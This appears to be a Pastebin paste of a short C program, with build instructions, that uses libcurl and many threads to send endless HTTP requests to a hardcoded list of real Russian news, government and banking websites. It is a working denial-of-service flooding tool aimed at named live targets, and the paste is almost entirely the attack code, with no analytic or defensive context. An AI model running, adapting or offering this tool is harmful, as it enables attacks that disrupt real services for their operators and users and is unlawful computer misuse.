Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- $ dnf install libcurl-devel
- $ gcc -o this_program this_program.c -lcurl
- $ ./this_program 1000 // number of threads
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <curl/curl.h>
- #include <pthread.h>
- static char const *urls[] = {
- "https://lenta.ru/",
- "https://ria.ru/",
- "https://ria.ru/lenta/",
- "https://www.rbc.ru/",
- "https://www.rt.com/",
- "http://kremlin.ru/",
- "http://en.kremlin.ru/",
- "https://smotrim.ru/",
- "https://tass.ru/",
- "https://tvzvezda.ru/",
- "https://vsoloviev.ru/",
- "https://www.1tv.ru/",
- "https://www.vesti.ru/",
- "https://online.sberbank.ru/",
- "https://sberbank.ru/",
- };
- static size_t ignore_data(void *data, size_t size, size_t nmemb, void *userp)
- {
- (void)data;
- (void)nmemb;
- (void)userp;
- return size;
- }
- void *thread_start(void *vp_url)
- {
- size_t i;
- CURL *ch;
- ch = curl_easy_init();
- curl_easy_setopt(ch, CURLOPT_URL, (char *)vp_url);
- curl_easy_setopt(ch, CURLOPT_TIMEOUT, 1L);
- curl_easy_setopt(ch, CURLOPT_FOLLOWLOCATION, 1L);
- curl_easy_setopt(ch, CURLOPT_WRITEDATA, NULL);
- curl_easy_setopt(ch, CURLOPT_WRITEFUNCTION, ignore_data);
- for (;;) {
- printf("try %s...\n", (char *)vp_url);
- curl_easy_perform(ch);
- }
- return NULL;
- }
- int main(int argc, char **argv)
- {
- size_t i, num_urls, num_threads;
- pthread_t *threads;
- num_threads = num_urls = sizeof urls / sizeof *urls;
- if (1 < argc)
- num_threads = atoi(*++argv);
- threads = malloc(sizeof *threads * num_threads);
- curl_global_init(CURL_GLOBAL_DEFAULT);
- for (i = 0; i < num_threads; ++i)
- pthread_create(threads + i, 0, thread_start, urls[i % num_urls]);
- for (i = 0; i < num_threads; ++i)
- pthread_join(threads[i], 0);
- }
Advertisement
Add Comment
Please, Sign In to add comment